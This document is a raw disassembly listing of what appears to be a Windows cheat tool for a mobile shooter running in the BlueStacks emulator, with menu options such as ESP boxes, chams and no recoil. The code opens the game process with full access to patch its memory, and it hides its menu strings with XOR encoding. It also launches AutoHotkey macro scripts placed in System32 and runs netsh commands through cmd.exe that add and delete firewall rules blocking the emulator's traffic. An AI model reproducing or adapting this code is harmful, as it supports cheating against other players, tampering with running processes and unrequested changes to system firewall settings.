lea rcx, str.Dwarf_Camera
call fcn.1400350d0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x1405c4cf4]
cmp eax, 3
jne 0x1400559a8
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x398], 0x440e0000
mov dword [rbp + 0x39c], 0x43480000
mov r8d, 0x2a0
mov rdx, qword [rax + r12*8]
mov eax, 0x2b0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400557cd
mov dword [r8 + rdx + 0xc], 0x145f986
or eax, 1
mov dword [r8 + rdx], 0x6b89201
mov dword [rcx + rdx], eax
lea rcx, [0x140126360]
mov dword [r8 + rdx + 4], 0x460495f3
mov dword [r8 + rdx + 8], 0xdb69e67
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xf], 0
je 0x140055822
xor byte [rcx], 0x47
xor byte [rcx + 1], 0xd3
xor byte [rcx + 2], 0xf3
xor byte [rcx + 3], 0x43
xor byte [rcx + 4], 0xd3
xor byte [rcx + 5], 0xd9
xor byte [rcx + 6], 0x45
xor byte [rcx + 7], 1
xor byte [rcx + 8], 0x47
xor byte [rcx + 9], 0xd3
xor byte [rcx + 0xa], 0xf3
xor byte [rcx + 0xb], 0x43
xor byte [rcx + 0xc], 0xd3
xor byte [rcx + 0xd], 0xd9
xor byte [rcx + 0xe], 0x45
mov byte [rcx + 0xf], 0
xor r9d, r9d
lea rdx, [rbp + 0x398]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4c8e]
lea rcx, str.Enable_Macro_M500
call fcn.140030af0
test al, al
je 0x1400558e6
cmp byte [0x1405c4c8e], 1
jne 0x1400558dc
cmp byte [0x1405c4c8f], 1
jne 0x1400558a9
mov ecx, reloc.WS2_32.dll_WSACleanup
call fcn.14004c180
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macrom500.ahk
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x1405c4c8f], 0
jmp 0x1400558e6
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macrom500.ahk
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400558e6
mov ecx, 0x75
call fcn.14004c180
lea rdx, [0x1405c4c8f]
lea rcx, str.Enable_Macro_2Awm
call fcn.140030af0
test al, al
je 0x14005595d
cmp byte [0x1405c4c8f], 1
jne 0x140055953
cmp byte [0x1405c4c8e], 1
jne 0x140055920
mov ecx, 0x75
mov byte [0x1405c4c8e], 0
call fcn.14004c180
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macro2Awm_by_Swatzz.ahk
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14005595d
mov ecx, reloc.WS2_32.dll_WSACleanup
call fcn.14004c180
lea r8, [0x1405c5264]
lea rdx, [0x1405c4c20]
lea rcx, str.Show_Hide_Panel
call fcn.1400350d0
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140055998
call fcn.140007e70
lea rcx, str.Key_Default:_Insert
call fcn.140037db0
call fcn.14000c0d0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x1405c4cf4]
test eax, eax
jne 0x140056198
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x3a0], 0x440e0000
mov dword [rbp + 0x3a4], 0x43480000
mov r8d, 0x2b8
mov rdx, qword [rax + r12*8]
mov eax, 0x2c8
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140055a27
mov word [r8 + rdx + 0xd], 0x171
or eax, 1
mov dword [r8 + rdx], 0xdea5e04a
mov dword [r8 + rdx + 4], 0xa28c22db
mov dword [rcx + rdx], eax
lea rcx, [0x140126750]
mov dword [r8 + rdx + 8], 0xdfa2f752
mov byte [r8 + rdx + 0xc], 0xa2
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xe], 0
je 0x140055a78
xor byte [rcx], 7
xor byte [rcx + 1], 0xa5
xor byte [rcx + 2], 0xeb
xor byte [rcx + 3], 0x8b
xor byte [rcx + 4], 0xfb
xor byte [rcx + 5], 0x71
xor byte [rcx + 6], 0xc9
xor byte [rcx + 7], 0xe1
xor byte [rcx + 8], 7
xor byte [rcx + 9], 0xa5
xor byte [rcx + 0xa], 0xeb
xor byte [rcx + 0xb], 0x8b
xor byte [rcx + 0xc], 0xfb
xor byte [rcx + 0xd], 0x71
mov byte [rcx + 0xe], 0
xor r9d, r9d
lea rdx, [rbp + 0x3a0]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4c8d]
lea rcx, str.Block_Internet
call fcn.140030af0
test al, al
je 0x14005615c
cmp byte [0x1405c4c8d], 1
xorps xmm0, xmm0
jne 0x140055e24
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x640], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
mov qword [rbp + 0x648], r13
lea rcx, [rbp + 0x630]
movups xmmword [rbp + 0x630], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x630]
call fcn.14004b610
lea rcx, [rbp + 0x630]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x660], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x668], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x650]
movups xmmword [rbp + 0x650], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x650]
call fcn.14004b610
lea rcx, [rbp + 0x650]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x680], r13
mov r8d, 0x91
mov qword [rbp + 0x688], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x670]
movups xmmword [rbp + 0x670], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x670]
call fcn.14004b610
lea rcx, [rbp + 0x670]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x6a0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x6a8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x690]
movups xmmword [rbp + 0x690], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x690]
call fcn.14004b610
lea rcx, [rbp + 0x690]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x4c8], r13
mov r8d, Ordinal_143
mov qword [rbp + 0x4d0], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x4b8]
movups xmmword [rbp + 0x4b8], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x4b8]
call fcn.14004b610
mov r8, qword [rbp + 0x4d0]
cmp r8, 0xf
jbe 0x140055c33
mov rdx, qword [rbp + 0x4b8]
lea rcx, [rbp + 0x4b8]
call fcn.14004d430
xorps xmm0, xmm0
mov qword [rbp + 0x4c8], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_143
mov qword [rbp + 0x4d0], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
mov byte [rbp + 0x4b8], 0
lea rcx, [rbp + 0x6b0]
mov qword [rbp + 0x6c0], r13
movups xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x6c8], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x6b0]
call fcn.14004b610
lea rcx, [rbp + 0x6b0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x6e0], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x6e8], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6d0]
movups xmmword [rbp + 0x6d0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x6d0]
call fcn.14004b610
lea rcx, [rbp + 0x6d0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x700], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x708], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6f0]
movups xmmword [rbp + 0x6f0], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x6f0]
call fcn.14004b610
lea rcx, [rbp + 0x6f0]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x720], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x728], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x710]
movups xmmword [rbp + 0x710], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x710]
call fcn.14004b610
lea rcx, [rbp + 0x710]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x740], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x748], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x730]
movups xmmword [rbp + 0x730], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x730]
call fcn.14004b610
lea rcx, [rbp + 0x730]
call fcn.14002fd20
lea r9, str.Internet_Desactivado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x118e0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140055e09
mov r8d, 0x2010
lea rdx, [rbp + 0x118e0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x14005615c
lea r8, [rbp + 0x118e0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
jmp 0x14005615c
mov r8d, 0x67
mov qword [rbp + 0x9e0], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
mov qword [rbp + 0x9e8], r13
lea rcx, [rbp + 0x9d0]
movups xmmword [rbp + 0x9d0], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa00], r13
mov r8d, 0x66
mov qword [rbp + 0xa08], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x9f0]
movups xmmword [rbp + 0x9f0], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa20], r13
mov r8d, 0x63
mov qword [rbp + 0xa28], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0xa10]
movups xmmword [rbp + 0xa10], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa40], r13
mov r8d, 0x68
mov qword [rbp + 0xa48], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0xa30]
movups xmmword [rbp + 0xa30], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa60], r13
mov r8d, 0x76
mov qword [rbp + 0xa68], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0xa50]
movups xmmword [rbp + 0xa50], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa80], r13
mov r8d, 0x76
mov qword [rbp + 0xa88], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0xa70]
movups xmmword [rbp + 0xa70], xmm0
call fcn.14002f3c0
lea rsi, [rbp + 0x9d0]
nop
xorps xmm0, xmm0
lea rax, str.cmd.exe
movups xmmword [rbp + 0xa90], xmm0
movabs rcx, 0x7fffffffffffffff
mov dword [rbp + 0xa90], reloc.WS2_32.dll_WSASetLastError
movups xmmword [rbp + 0xaa0], xmm0
mov qword [rbp + 0xaa8], rax
mov rax, rcx
mov dword [rbp + 0xa94], 0x40
movups xmmword [rbp + 0xab0], xmm0
movups xmmword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0xad0], xmm0
movups xmmword [rbp + 0xae0], xmm0
movups xmmword [rbp + 0xaf0], xmm0
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, 3
jb 0x140056bdc
cmp qword [rsi + 0x18], 0xf
mov r12, rsi
jbe 0x140055fd1
mov r12, qword [rsi]
lea r14, [r15 + 3]
mov qword [rbp + 0x4e8], r13
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x4f0], r13
lea rdi, [rbp + 0x4d8]
movups xmmword [rbp + 0x4d8], xmm0
cmp r14, rbx
jbe 0x14005602c
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14005600c
mov rbx, rcx
jmp 0x140056019
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.1400474f0
mov rdi, rax
mov qword [rbp + 0x4d8], rax
mov ecx, dword [0x140190050]
mov r8, r15
mov qword [rbp + 0x4e8], r14
mov rdx, r12
mov qword [rbp + 0x4f0], rbx
mov word [rdi], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 2], cl
lea rcx, [rdi + 3]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rax, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0xf
lea rcx, [rbp + 0x4d8]
cmova rax, qword [rbp + 0x4d8]
mov qword [rbp + 0xab0], rax
call fcn.14002fd20
lea rcx, [rbp + 0xa90]
mov dword [rbp + 0xac0], r13d
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x1400560c2
mov rcx, qword [rbp + 0xaf8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xaf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 0x20
lea rax, [rbp + 0xa90]
cmp rsi, rax
jne 0x140055f50
lea r9, str.Internet_Activado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x138f0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140056123
mov r8d, 0x2010
lea rdx, [rbp + 0x138f0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x140056139
lea r8, [rbp + 0x138f0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.14002fd20]
lea rcx, [rbp + 0x9d0]
lea r8d, [rdx - 0x1a]
call fcn.140121d18
mov r12d, dword [0x1405c5520]
lea rdx, [0x1405c4c84]
lea rcx, str.Seguridad_Ultimate___Login__
call fcn.140030af0
test al, al
je 0x140056188
cmp byte [0x1405c4c84], 1
jne 0x140056188
lea rcx, [0x1405c4e10]
call fcn.14004afa0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x1405c4cf4]
cmp eax, 5
jne 0x14005666d
call fcn.140007d20
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x3a8], 0x43960000
mov dword [rbp + 0x3ac], 0x435c0000
mov r8d, 0x2d0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2dc
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x14005620d
mov dword [r8 + rdx + 8], 0x1fdb032
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126070]
mov dword [r8 + rdx], 0x30b3a632
mov dword [r8 + rdx + 4], 0xf4a52ec1
call fcn.140122494
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 0xb], 0
je 0x140056255
xor byte [rcx], 0x7f
xor byte [rcx + 1], 0xe3
xor byte [rcx + 2], 0xfd
xor byte [rcx + 3], 0x65
xor byte [rcx + 4], 0xe1
xor byte [rcx + 5], 0x6d
xor byte [rcx + 6], 0xed
xor byte [rcx + 7], 0xb5
xor byte [rcx + 8], 0x7f
xor byte [rcx + 9], 0xe3
xor byte [rcx + 0xa], 0xfd
mov byte [rcx + 0xb], 0
xor r9d, r9d
lea rdx, [rbp + 0x3a8]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4bfd]
lea rcx, str.Chams_CartelX
call fcn.140030af0
test al, al
je 0x14005628c
cmp byte [0x1405c4bfd], 0
je 0x14005628c
call fcn.14004b580
lea rdx, [0x1405c4c01]
lea rcx, str.Chams_Red
call fcn.140030af0
test al, al
je 0x1400562f5
cmp byte [0x1405c4c01], 0
je 0x1400562f5
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400562f5
mov rcx, rax
call fcn.14004bc30
test al, al
je 0x1400562ec
lea rdx, [0x140277760]
mov rcx, rbx
call fcn.140056c00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1405c4bfc]
lea rcx, str.Chams_3D
call fcn.140030af0
test al, al
je 0x14005635e
cmp byte [0x1405c4bfc], 0
je 0x14005635e
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14005635e
mov rcx, rax
call fcn.14004bc30
test al, al
je 0x140056355
lea rdx, [0x140352160]
mov rcx, rbx
call fcn.140056c00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x14005637f
call fcn.140007e70
lea rcx, str.Activar_en_Partida
call fcn.140037db0
call fcn.14000c0d0
call fcn.14000b520
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x3b0], 0x43960000
mov dword [rbp + 0x3b4], 0x438c0000
mov r8d, 0x2e0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2ec
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400563eb
mov dword [rdx + r8 + 8], 0x1cb7918
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x1401265a0]
mov dword [rdx + r8], 0x8856e10
mov dword [rdx + r8 + 4], 0x2113bc03
call fcn.140122494
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 0xb], 0
je 0x140056433
xor byte [rcx], 0x5d
xor byte [rcx + 1], 0x2b
xor byte [rcx + 2], 0xcb
xor byte [rcx + 3], 0x5d
xor byte [rcx + 4], 0x23
xor byte [rcx + 5], 0xf3
xor byte [rcx + 6], 0x47
xor byte [rcx + 7], 0x69
xor byte [rcx + 8], 0x5d
xor byte [rcx + 9], 0x2b
xor byte [rcx + 0xa], 0xcb
mov byte [rcx + 0xb], 0
xor r9d, r9d
lea rdx, [rbp + 0x3b0]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4c02]
lea rcx, str.Night_Mode
call fcn.140030af0
test al, al
je 0x140056471
cmp byte [0x1405c4c02], 0
je 0x140056471
lea rcx, [0x1405c4e10]
call fcn.14004d920
lea rdx, [0x1405c4c9d]
lea rcx, str.No_Recoil
call fcn.140030af0
test al, al
je 0x14005649d
cmp byte [0x1405c4c9d], 0
je 0x14005649d
lea rcx, [0x1405c4e10]
call fcn.14004da30
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x3b8], 0x43960000
mov dword [rbp + 0x3bc], 0x438c0000
mov r8d, 0x2f0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2fc
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x14005651e
mov dword [r8 + rdx + 6], 0x185d91e
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126660]
mov dword [r8 + rdx], 0x80273ac8
mov word [r8 + rdx + 4], 0x9863
call fcn.140122494
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 9], 0
je 0x14005655e
xor byte [rcx], 0x85
xor byte [rcx + 1], 0x7f
xor byte [rcx + 2], 0x69
xor byte [rcx + 3], 0xd5
xor byte [rcx + 4], 0x43
xor byte [rcx + 5], 0xdd
xor byte [rcx + 6], 0x4d
xor byte [rcx + 7], 0x89
xor byte [rcx + 8], 0x85
mov byte [rcx + 9], 0
xor r9d, r9d
lea rdx, [rbp + 0x3b8]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4bff]
lea rcx, str.Chams_Esp_Box_V1
call fcn.140030af0
test al, al
je 0x1400565d9
cmp byte [0x1405c4bff], 0
je 0x1400565d9
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400565d9
mov rcx, rax
call fcn.14004bc30
test al, al
je 0x1400565d0
lea rdx, [0x1402e4760]
mov rcx, rbx
call fcn.140056c00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1405c4c00]
lea rcx, str.Chams_Esp_Box_V2
call fcn.140030af0
test al, al
je 0x140056642
cmp byte [0x1405c4c00], 0
je 0x140056642
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140056642
mov rcx, rax
call fcn.14004bc30
test al, al
je 0x140056639
lea rdx, [0x1403bf160]
mov rcx, rbx
call fcn.140056c00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140056663
call fcn.140007e70
lea rcx, str.Activar_en_Partida
call fcn.140037db0
call fcn.14000c0d0
call fcn.14000b520
call fcn.14000bd20
mov esi, 1
mov ecx, esi
call fcn.140016580
cmp byte [0x1405c4cfe], 0
je 0x1400567f9
cmp byte [0x1405c4bd8], 0
lea ecx, [rsi + 1]
je 0x1400567a9
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x1400566aa
mov word [rax], 0x100
jmp 0x1400566ad
mov rbx, r13
mov ecx, 0x81
call fcn.1401223e4
test rax, rax
je 0x140056784
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov dword [rax + 0x20], 0x3f000000
mov dword [rax + 0x24], 0x3f3f3f3f
mov qword [rax + 0x28], 0x3f3f
mov qword [rax + 0x30], 0
mov dword [rax + 0x38], 0x3f800000
mov dword [rax + 0x3c], 0x3f3f3f3f
mov dword [rax + 0x40], 0x3f3f3f3f
mov dword [rax + 0x44], 0x3f3f3f3f
mov dword [rax + 0x48], 0x3f
mov dword [rax + 0x4c], 0x3f3f0000
mov dword [rax + 0x50], 0x3f3f3f3f
mov dword [rax + 0x54], 0x3f3f3f3f
mov dword [rax + 0x58], 0x3f3f3f3f
mov dword [rax + 0x5c], 0x3f3f3f3f
mov dword [rax + 0x60], 0x3f3f3f3f
mov dword [rax + 0x64], 0x3f3f3f3f
mov dword [rax + 0x68], 0x3f3f3f07
mov dword [rax + 0x6c], 0x3f3f3f3f
mov dword [rax + 0x70], 0x3f3f3f08
mov dword [rax + 0x74], 0x3f3f3f3f
mov dword [rax + 0x78], 0x3f3f3f3f
mov dword [rax + 0x7c], 0x3f3f3f3f
mov byte [rax + 0x80], Ordinal_41
jmp 0x140056787
mov rax, r13
mov r9, rax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea rcx, [0x1405c4e10]
movabs r8, 0x7fffffffffff
call fcn.14004c320
jmp 0x1400567f9
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x1400567bd
xor eax, eax
mov word [rbx], ax
jmp 0x1400567c0
mov rbx, r13
mov ecx, 2
call fcn.1401223e4
test rax, rax
je 0x1400567d6
xor ecx, ecx
mov word [rax], cx
jmp 0x1400567d9
mov rax, r13
mov r9, rax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea rcx, [0x1405c4e10]
movabs r8, 0x7fffffffffff
call fcn.14004ddb0
call fcn.14000afe0
mov rdx, qword [rbp + 0x478]
cmp rdx, 0xf
jbe 0x14005683f
mov rcx, qword [rbp + 0x460]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005683a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
mov rdx, qword [rbp + 0x1f8]
mov qword [rbp + 0x470], r13
mov qword [rbp + 0x478], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x460], 0
cmp rdx, 0xf
jbe 0x140056899
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056894
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
mov rdx, qword [rbp + 0x218]
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e0], 0
cmp rdx, 0xf
jbe 0x1400568f3
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400568ee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
mov rdx, qword [rbp + 0x150]
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], 0
cmp rdx, 0xf
jbe 0x14005694d
mov rcx, qword [rbp + 0x138]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056948
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x138], 0
cmp rdx, 0xf
jbe 0x1400569a7
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400569a2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
mov rdx, qword [rbp + 0x498]
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x220], 0
cmp rdx, 0xf
jbe 0x140056a01
mov rcx, qword [rbp + 0x480]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400569fc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b90
call fcn.140121e24
lea rcx, [rbp + 0x750]
mov qword [rbp + 0x490], r13
mov qword [rbp + 0x498], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x480], 0
call fcn.14002fd20
lea r12, [0x1405c51a0]
call fcn.14004c410
call fcn.140016dd0
mov rcx, qword [0x1405c4f78]
lea r8, [0x1405c5258]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xc18], xmm0
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x108]
